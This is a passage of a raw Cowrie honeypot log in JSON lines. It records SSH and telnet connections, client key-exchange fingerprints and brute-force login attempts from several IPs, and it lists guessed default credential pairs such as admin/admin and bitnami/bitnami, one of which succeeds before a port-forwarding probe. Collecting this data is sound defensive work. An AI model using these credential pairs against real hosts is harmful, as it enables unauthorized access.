{"eventid":"cowrie.session.connect","src_ip":"190.108.60.10","src_port":40890,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6c0e136a34b","protocol":"ssh","message":"New connection: 190.108.60.10:40890 (10.17.0.5:22) [session: a6c0e136a34b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:01:08.449050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:01:08.453570Z","src_ip":"190.108.60.10","session":"a6c0e136a34b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:01:08.670740Z","src_ip":"190.108.60.10","session":"a6c0e136a34b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.179124355316162,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:01:08.835181Z","src_ip":"186.77.199.48","session":"af11cf750d02","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"1qaz@WSX","message":"login attempt [odoo/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:01:09.556732Z","src_ip":"190.108.60.10","session":"a6c0e136a34b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:01:10.779668Z","src_ip":"190.108.60.10","session":"a6c0e136a34b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.582932949066162,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:01:11.396889Z","src_ip":"104.245.105.2","session":"a772d6aeed35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.150121212005615,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:01:15.336934Z","src_ip":"188.208.141.113","session":"1cbca5489eb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00167322158813,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:01:17.671313Z","src_ip":"206.189.32.23","session":"b19325ea6d03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.30166268348694,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:01:36.943883Z","src_ip":"104.245.105.2","session":"43e891ffde05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":33680,"dst_ip":"10.17.0.5","dst_port":23,"session":"df424a49ddc8","protocol":"telnet","message":"New connection: 104.245.105.2:33680 (10.17.0.5:23) [session: df424a49ddc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:01:37.989686Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":1678,"dst_ip":"10.17.0.5","dst_port":22,"session":"b18b206833fa","protocol":"ssh","message":"New connection: 87.251.64.176:1678 (10.17.0.5:22) [session: b18b206833fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:01:45.543246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:01:45.547848Z","src_ip":"87.251.64.176","session":"b18b206833fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:01:45.649305Z","src_ip":"87.251.64.176","session":"b18b206833fa","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:01:45.940464Z","src_ip":"87.251.64.176","session":"b18b206833fa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:01:46.039650Z","session":"b18b206833fa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:01:46.148638Z","src_ip":"87.251.64.176","session":"b18b206833fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:01:46.248189Z","src_ip":"87.251.64.176","session":"b18b206833fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":35766,"dst_ip":"10.17.0.5","dst_port":23,"session":"c54375a8b26f","protocol":"telnet","message":"New connection: 104.245.105.2:35766 (10.17.0.5:23) [session: c54375a8b26f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:01:50.500506Z"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":43184,"dst_ip":"10.17.0.5","dst_port":22,"session":"82df58e11c8b","protocol":"ssh","message":"New connection: 61.222.211.114:43184 (10.17.0.5:22) [session: 82df58e11c8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:01:57.745562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:01:57.750180Z","src_ip":"61.222.211.114","session":"82df58e11c8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:01:57.961503Z","src_ip":"61.222.211.114","session":"82df58e11c8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1qaz!QAZ","message":"login attempt [user/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:01:58.840398Z","src_ip":"61.222.211.114","session":"82df58e11c8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:02:00.055934Z","src_ip":"61.222.211.114","session":"82df58e11c8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":33016,"dst_ip":"10.17.0.5","dst_port":23,"session":"a204d0a7aecf","protocol":"telnet","message":"New connection: 104.245.105.2:33016 (10.17.0.5:23) [session: a204d0a7aecf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:02:08.646608Z"}
{"eventid":"cowrie.session.closed","duration":31.173221826553345,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:02:09.162805Z","src_ip":"104.245.105.2","session":"df424a49ddc8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":42450,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef64b66f3099","protocol":"telnet","message":"New connection: 104.245.105.2:42450 (10.17.0.5:23) [session: ef64b66f3099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:02:13.323680Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.10","src_port":58310,"dst_ip":"10.17.0.5","dst_port":22,"session":"fad667848ece","protocol":"ssh","message":"New connection: 190.108.60.10:58310 (10.17.0.5:22) [session: fad667848ece]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:02:21.364064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:02:21.369091Z","src_ip":"190.108.60.10","session":"fad667848ece","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:02:21.571408Z","src_ip":"190.108.60.10","session":"fad667848ece","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123qweasdzxc","message":"login attempt [test/123qweasdzxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:02:22.403153Z","src_ip":"190.108.60.10","session":"fad667848ece","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:02:23.602904Z","src_ip":"190.108.60.10","session":"fad667848ece","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.82118368148804,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:02:25.321582Z","src_ip":"104.245.105.2","session":"c54375a8b26f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.184163808822632,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:02:39.830649Z","src_ip":"104.245.105.2","session":"a204d0a7aecf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.27501654624939,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:02:44.598586Z","src_ip":"104.245.105.2","session":"ef64b66f3099","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.169.83.157","src_port":44368,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1ccfda00ae5","protocol":"ssh","message":"New connection: 20.169.83.157:44368 (159.203.135.109:22) [session: d1ccfda00ae5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:02:50.437231Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":51280,"dst_ip":"10.17.0.5","dst_port":23,"session":"28590a126c43","protocol":"telnet","message":"New connection: 104.245.105.2:51280 (10.17.0.5:23) [session: 28590a126c43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:02:57.378776Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":48444,"dst_ip":"10.17.0.5","dst_port":23,"session":"7edc00b292dc","protocol":"telnet","message":"New connection: 188.208.141.113:48444 (10.17.0.5:23) [session: 7edc00b292dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:02:58.568427Z"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":55454,"dst_ip":"10.17.0.5","dst_port":22,"session":"97fc20fe76d0","protocol":"ssh","message":"New connection: 61.222.211.114:55454 (10.17.0.5:22) [session: 97fc20fe76d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:02:58.793499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:02:58.797846Z","src_ip":"61.222.211.114","session":"97fc20fe76d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:02:59.002294Z","src_ip":"61.222.211.114","session":"97fc20fe76d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitnami","password":"bitnami","message":"login attempt [bitnami/bitnami] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:02:59.851664Z","src_ip":"61.222.211.114","session":"97fc20fe76d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.1","message":"Connection lost after 10.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:03:00.504537Z","src_ip":"20.169.83.157","session":"d1ccfda00ae5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.169.83.157","src_port":59344,"dst_ip":"159.203.135.109","dst_port":22,"session":"38a3d0e0ef2b","protocol":"ssh","message":"New connection: 20.169.83.157:59344 (159.203.135.109:22) [session: 38a3d0e0ef2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:03:00.566736Z"}
{"eventid":"cowrie.client.version","version":"MGLNDD_159.203.135.109_22","message":"Remote SSH version: MGLNDD_159.203.135.109_22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:03:00.571317Z","src_ip":"20.169.83.157","session":"38a3d0e0ef2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:03:00.575331Z","src_ip":"20.169.83.157","session":"38a3d0e0ef2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:03:01.060840Z","src_ip":"61.222.211.114","session":"97fc20fe76d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":41397,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7ec9bcdfdc2","protocol":"ssh","message":"New connection: 193.24.211.95:41397 (159.203.135.109:22) [session: d7ec9bcdfdc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:03:06.583363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:03:06.589481Z","src_ip":"193.24.211.95","session":"d7ec9bcdfdc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T02:03:06.731164Z","src_ip":"193.24.211.95","session":"d7ec9bcdfdc2","protocol":"ssh"}
